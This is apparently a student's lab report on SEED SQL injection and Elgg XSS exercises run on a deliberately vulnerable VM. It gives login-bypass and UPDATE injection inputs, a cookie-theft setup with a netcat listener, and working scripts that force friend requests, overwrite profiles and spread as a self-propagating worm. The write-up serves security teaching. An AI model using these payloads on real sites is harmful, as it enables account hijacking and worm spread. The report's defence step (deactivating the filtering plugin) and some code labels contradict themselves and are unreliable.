20211920 2021-2022-2 《网络攻防实践》实践十报告

1.实践内容

实践内容

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2.实践过程

2.1 SEED SQL注入攻击与防御

熟悉SQL语句

  • 使用指令mysql -u root -p seedubuntu登陆MySql数据库(数据库密码seedubuntu)

  • 使用show databases命令查看数据库所有用户

  • 使用use Users;使用用户数据库show tables;打印所选数据库的所有表。

  • 然后使用指令select * from credential,查看credential表中所有数据

  • 通过如下操作查了Alice的所有信息select * from credential where Name='Alice';。

对SELECT语句的SQL注入攻击

  • 通过vim /var/www/SQLInjection/unsafe_home.php,找到核心的SQL语句

  • 去网站实验一下,打开网站SEEDLabSQLInjection.com,当username输入为Admin'#,Password可以是任意值。(#在sql语句中代表注释,代码中#之后的内容不执行,通过文件可以看出该sql语句只执行查找姓名的功能。)

  • 进行密码修改
    首先进入如下网址

  • 我们使用命令’,Salary=’987’where name=’Admin’;#进行密码修改
    可以打开/var/www/SQLInjection/unsafe_edit_backend.php进行查看,可以看到UPDATE功能的sql语句

查看结果,salary修改成功,SQL注入成功

SEED XSS 攻击实验

为了演示攻击者如何利用XSS漏洞,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。Elgg是一个非常流行的面向社交网络的开源web应用程序,它已经实现了许多应对XSS威胁的措施。为了演示XSS攻击是如何工作的,我们在安装的Elgg中评论了这些对策,故意使Elgg易受XSS攻击。如果没有对策,用户可以向用户配置文件发布任意消息,包括JavaScript程序。在这个实验室里,学生们需要利用这个漏洞对修改后的Elgg发起XSS攻击,其方式类似于2005年Samy Kamkar通过臭名昭著的Samy蠕虫对MySpace的攻击。此攻击的最终目标是在用户中传播XSS蠕虫,这样,查看受感染用户配置文件的人将受到感染,而受感染的人将把您(即攻击者)添加到他/她的朋友列表中。任务如下

用户部分信息

用户名 密码
admin seedelgg
alice seedalice
charlie seedcharlie
boby seedboby

1、首先,我们做一个基础的弹窗

  • 首先用登录alice,用户名alice,密码为seedalice,打开个人页面。

在Brief description中插入我们的XSS攻击代码。

  • 点击Save,弹窗,成功

2、我们也可以改的复杂一些,在Alice的Brief description中插入我们的XSS攻击代码。显示当前网页的cookie信息

3、窃取受害者的cookies

  • 首先查询本机IP

  • 上面的获取cookie只是弹到了窗口里,这次要发送给自己。使用命令后save(5555是任意端口)然后在终端使用命令nc -l 5555 -v进行端口监听

  • Get后为拦截的cookie信息

4、成为受害者的朋友

  • 为此我们点击Add Friend,并同时使用view-->sidebar-->HTTP Header Live查看在正常的情况下,添加好友应该发送的指令。我们得到如下图的信息。

  • 可以看到,请求的方式是POST,请求地址的第一个参数是朋友的地址,第二个参数是当前时间,请求地址的第三个参数是一个身份验证
    编写出如下的代码,可以自动添加好友。
<script type="text/javascript">window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}</script>
  • 将上述代码放到Alice的About me中,然后用boby的账号访问Alice的个人主页。之后返回boby主页,可以看到boby自动加了Alice的好友

  • 我们使用boby只是访问了Alice的主页,却已经将Alice添加为了好友,add后面为添加好友的请求

5、修改受害者的信息

同样,在XSS攻击之前,我们首先要知道:在正常的情况下,修改简介应该发送什么样的指令。点击Edit profile,同时使用HTTP Header Live查看发送的数据。可以得到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/profile/edit,请求地址的第一个参数是验证,请求地址的第二个参数是当前时间,请求地址的第三个参数是&__name=elgg.session.user.name。结合分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友。


<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}</script>

  • 同样将代码放到alice的about me中。登陆boby账号访问Alice的个人主页,

  • 返回主页时

6、编写XSS蠕虫。

现在的恶意代码只有攻击的部分,没有传播的部分,即怎样不点击就能进行攻击
构建蠕虫攻击代码


<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		vaar userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}</script>

将代码放入Alice的about me处,切换账户让boby去访问Alice主页,可以截获如下信息。同时,蠕虫病毒已经侵染了Boby的主页。


  • 让admin访问boby的主页,admin就成为了二级感染者,admin主页显示

7、对抗XSS攻击

  • 查找参考文章知道Elgg本身提供对抗XSS攻击的插件,我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed,并使其Deactivate。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。


  • 回到Alice的profile,就可以看到这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示

3.学习中遇到的问题及解决

  • 问题1:第一个实验找Edit Profile 按键时发现界面滑不上去了,Edit Profile被挡住了

  • 问题1解决方案:直接修改网址

    参考了别的大佬,发现调整浏览器界面格式,也可以显示

4.实践总结

通过本次实践,了解了SQL注入以及XXS攻击的相关知识,知道了如何进行防护。

posted @ 2022-05-20 11:04  张婷20211920  阅读(116)  评论(0编辑  收藏  举报